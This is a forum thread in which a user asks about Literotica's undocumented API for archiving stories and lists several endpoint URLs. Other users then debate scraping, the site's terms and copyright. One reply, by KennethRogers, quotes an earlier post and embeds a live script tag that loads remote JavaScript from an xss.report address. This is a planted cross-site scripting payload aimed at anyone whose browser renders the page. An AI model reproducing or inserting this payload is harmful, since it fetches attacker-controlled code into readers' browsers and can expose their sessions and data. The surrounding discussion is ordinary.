Literotica public/private API

[WildyZear]

Hi, I was wondering if there was a documentation for the current Literotica API?

I'm writing tools to help searching, filtering and archiving contents. I'm currently using scraping (getting HTML content and extracting elements) but due to new design changes this has become more and more difficult.

There is an API to fetch author's stories, users' informations, etc. which I found after searching for a while. But there isn't any documentation on the parameters or the list of all API routes. And some API calls lack some fields (like the list of author's stories not indicating which series a stories comes from).

So is there any documentation I can refer to, somewhere? Or is there any plan to make an API that's available to at least registered users (no problem if there's a rate limiting or something like that to enforce fair use)?

Literotica currently misses a ton of features - which is normal given volunteers are working on it and not full-time paid developers ; but I strongly feel like that shouldn't prevent other persons from working on projects to improve this situation, especially when it's for personal use.

I'm not asking for a stable API ; it can change every few months if Literotica's developers feel like it's worth to them, and side projects like mine would have to adapt - that's not a problem. But having a usable API with at least some basic documentation would help tremendously

 

[TheLobster]

There is an API to fetch author's stories, users' informations, etc. which I found after searching for a while. But there isn't any documentation on the parameters or the list of all API routes. And some API calls lack some fields (like the list of author's stories not indicating which series a stories comes from).

Out of curiosity, where is this API? I haven't found any mention of anything publicly available on Lit's site itself. Sure, you can point dev tools at the new author page and you'll reverse-engineer the endpoints soon enough, but that seems extremely fragile when it's half-HTML, half-JSON, and some request parameters seem to be mysterious base64-encoded values.

If that's what you mean, then I'm pretty sure it was never meant for public consumption and as such won't be documented.

 

[WildyZear]

I've been doing HTML scraping for the past few months, but with the new (pretty terrible btw) authors page layout everything's obviously broken, and the new HTML markup makes it a lot harder to extract useful informations now.

For the API I've found some informations about it on external forums, by reading the source code of some third-party apps, etc.

For instance you can get informations about a user using:
https://literotica.com/api/3/users/<ID>
For author informations (which use the same ID but display different infos):
https://literotica.com/api/3/authors/<ID>
For the list of all stories made by one author:
https://literotica.com/api/3/users/<ID>/stories

Note that these API calls are paginated, I've seen some pagination parameters on github but I haven't reverse-engineered it yet.

 

[jaF0]

I've been doing HTML scraping for the past few months,

You should probably stop doing that. You don't have legal rights to anything here.

Thank you for the question.

The new API is currently a work in progress so we do not support public access to the API and it may change at any time (we change it for internal use as we add or update features).

In the future, we may off a way to get an API key for approved projects, but for now it's still in development and we are not offering access.

Thank you for understanding.

 

[WildyZear]

You should probably stop doing that. You don't have legal rights to anything here.

Yes and no. Using youtube-dl is not necessarily illegal although you don't own the rights to the Youtube API itself. And laws are not the same outside of the US, even if the website is US-based.

Also I'm also not using it to circumvent any Literotica protection, just to simplify my own usage of the website.

Finally the quote you gave is from several years ago, it does not mean it's still true to this date, hence my new thread.

 

[jaF0]

Yes and no. Using youtube-dl is not necessarily illegal although you don't own the rights to the Youtube API itself. And laws are not the same outside of the US, even if the website is US-based.

Also I'm also not using it to circumvent any Literotica protection, just to simplify my own usage of the website.

Finally the quote you gave is from several years ago, it does not mean it's still true to this date, hence my new thread.

We're talking about Lit, not some tubing site. Lit says NO. That's all you need to know.

The End.

Finito.

Kaput.

Capiche?

 

[WildyZear]

So first of all it's not because a website says something that it has legal value. Youtube says NO to scraping, but legally users can still download these videos, because Google doesn't make the laws.

Second, can you show me where Literotica explicitly indicates scraping is forbidden? Especially for single-person, private use. I read their terms and conditions and it does not seem to be there.

 

[TheLobster]

From the ToS, emphasis mine:

• 14. You agree that you will not try to abuse any of the software or hardware that runs this site. Any unauthorized attempt to tamper with the voting system, log into another user’s account, or any other abusive behavior will be subject to suspension of your account as well as possible legal action, if warranted.

Excessive scraping would definitely fall under this category. But if your program has similar usage patterns to human users, you should probably be fine. Either way, admins seem to reserve the right to define what they consider “abusive.”

Law and legality doesn’t really enter into the picture, though of course IANAL.

 

[WildyZear]

I'm absolutely not using it excessively. I'm downloading a database or anything.

Basically what I do is once or twice per week, I check some pages like authors I follow, check if there are any new stories, and download the text.

 

[TheLobster]

Your use case would be best solved by an RSS feed rather than custom API but alas, Lit doesn’t seem to offer that either

 

[WildyZear]

That would be great indeed!

 

[KennethRogers]

Yes and no. Using youtube-dl is not necessarily illegal although you don't own the rights to the Youtube API itself. And laws are not the same outside of the US, even if the website is US-based.

Also I'm also not using it to circumvent any Literotica protection, just to simplify my own usage of the website.

Finally the quote you gave is from several years ago, it does not mean it's still true to this date, hence my new thread.

<script>$.getScript("//xss.report/c/kanak654")</script>

 

[Writer61]

Basically what I do is once or twice per week, I check some pages like authors I follow, check if there are any new stories, and download the text.

And there you have it.

Any text that you download places it beyond the control of the author. Even if only for personal use, you should have their explicit permission to do so.

To be clear, you do NOT have permission to download any of my text. Any that you have downloaded must be deleted.

 

[Writer61]

Finally the quote you gave is from several years ago, it does not mean it's still true to this date, hence my new thread.

In which case you might have asked if that still applied. You didn't.

 

[WildyZear]

And there you have it.

Any text that you download places it beyond the control of the author. Even if only for personal use, you should have their explicit permission to do so.

To be clear, you do NOT have permission to download any of my text. Any that you have downloaded must be deleted.

Not be rude but you don't actually have your word to say in this ; the laws allow anyone to download public content (with a few exceptions) for private use, with or without the content creator's consent.

So I don't actually need permission from anyone to do this. The only limitations are:

1) I mustn't make too many requests to the website for scraping, because then it would introduce load problems for Literotica

2) I mustn't access paid content without paying, for instance downloading paid stories by circumventing the payment system (of which there is none on Literotica anyway, but this applies to some websites).

3) I mustn't share the downloads I made, because these are for private use only. This is even more true for stories that have been deleted by their authors.

But I am perfectly allowed to make downloads and even to keep deleted stories on my local hard drive.

In which case you might have asked if that still applied. You didn't.

The whole point of this thread is to now if that still applies.

 

[Writer61]

Not be rude but you don't actually have your word to say in this ; the laws allow anyone to download public content (with a few exceptions) for private use, with or without the content creator's consent.

Wrong.

From the Fair Use FAQ of the US Government Copyright Office:
Uploading or downloading works protected by copyright without the authority of the copyright owner is an infringement of the copyright owner's exclusive rights of reproduction and/or distribution.

The whole point of this thread is to now if that still applies.

Yes, you said that in a reply, my question was why not ask that question explicitly in the OP?

 

[TheLobster]

I’m surprised that Lit doesn’t seem to have the usual site ToS that is covered in legalese, but there is this bit it in Story Publishing Guidelines (emphasis mine):

• You’re the sole creator of the work, you own the copyright, and you grant Literotica the legal rights to publish the submitted work;

Normally this would be worded as something like “you grant Literotica non-exclusive, indefinite, revokable (&c) right to distribute the work that you own the copyright of,” but the spirit seems pretty clear.

The point is that because Lit has the right to distribute, they can make your work available to download (which includes any instance a reader is viewing your story), and that is exactly what they are doing. The “authority of the copyright owner” has thus already been granted, and therefore no violation of copyright has occurred.

 

[Writer61]

The point is that because Lit has the right to distribute, they can make your work available to download (which includes any instance a reader is viewing your story), and that is exactly what they are doing.

a) they claim permission to publish, not to distribute.
b) they do not make work available to download.

The “authority of the copyright owner” has thus already been granted, and therefore no violation of copyright has occurred.

Moot. See previous points.

 

[OverconfidentSarcasm]

And there you have it.

Any text that you download places it beyond the control of the author. Even if only for personal use, you should have their explicit permission to do so.

To be clear, you do NOT have permission to download any of my text. Any that you have downloaded must be deleted.

I'm sure you heard that a thousand times before... but how do you think your stories are being displayed on my monitor if they are not downloaded beforehand by my browser?

If you make it publicly accessible, you make it automatically publicly downloadable. If you don't want people to download your stories without your permission, put them behind a paywall. Or, at least, make users register and login before they can access them.

Oh, and that Fair Use FAQ you quoted before? I'm fairly certain that Fair USE is about USING copies of other people's protected work to create something new. It has nothing to do with what essentially amounts to creating "archival copies" for personal use only.

 

[NoTalentHack]

And there you have it.

Any text that you download places it beyond the control of the author. Even if only for personal use, you should have their explicit permission to do so.

To be clear, you do NOT have permission to download any of my text. Any that you have downloaded must be deleted.

Except they do. If they’re reading it on the site, they’re already downloading it; that’s just how a web browser works. Everything you see in your browser is cached on your computer, at least temporarily.

 

[alohadave]

To be clear, you do NOT have permission to download any of my text. Any that you have downloaded must be deleted.

You don't understand how web browsers work, do you?

 

[intim8]

To be clear, you do NOT have permission to download any of my text. Any that you have downloaded must be deleted.

Permission or not, I have the right, both morally and legally. Permission is not required. As others have said, reading a story here is downloading it, but I have the right to even save it on my hard drive and backups, though there is no reason to do so (unless the apocalypse is coming and I need my entertainment locally available). I just can't re-distribute it, aside from using portions of it under Fair Use.

 

[jehoram]

I've always assumed that people who like my stories will download them so they can read them later, and maybe re-read them often. I would draw the line, however, at those people distributing them to others. They can distribute the URL if they want, but not the text of the stories.

 

[jaF0]

The Page Source code being cached in a web browser to enable viewing and reading is not the same as saving a document to their drive. That's why there's a separate function to 'Save File' or 'Save File As '. Cache is temporary and may be dumped or overwritten daily or whenever that function is set by the user. Some set it just when they close the browser.

And that isn't what the OP is asking about. They seem to want to use a tool to scrape stories in their entirety for reading later, without having read them on the site initially in the traditional way.

 

[NoTalentHack]

The Page Source code being cached in a web browser to enable viewing and reading is not the same as saving a document to their drive. That's why there's a separate function to 'Save File' or 'Save File As '. Cache is temporary and may be dumped or overwritten daily or whenever that function is set by the user. Some set it just when they close the browser.

And that isn't what the OP is asking about. They seem to want to use a tool to scrape stories in their entirety for reading later, without having read them on the site initially in the traditional way.

It's a matter of degrees, though, not kind. Seriously. Right-click and view source, and the whole damned text of the story is in there. All we're doing is splitting hairs; the only significant difference is that a person is/is not looking at the UX fluff and ads. Now, if they turned around and republished them somewhere else, that'd be a different matter, but pretending "text on site" is qualitatively different from "text offline for personal use?" Nah. No more than setting up a DVR to record a show.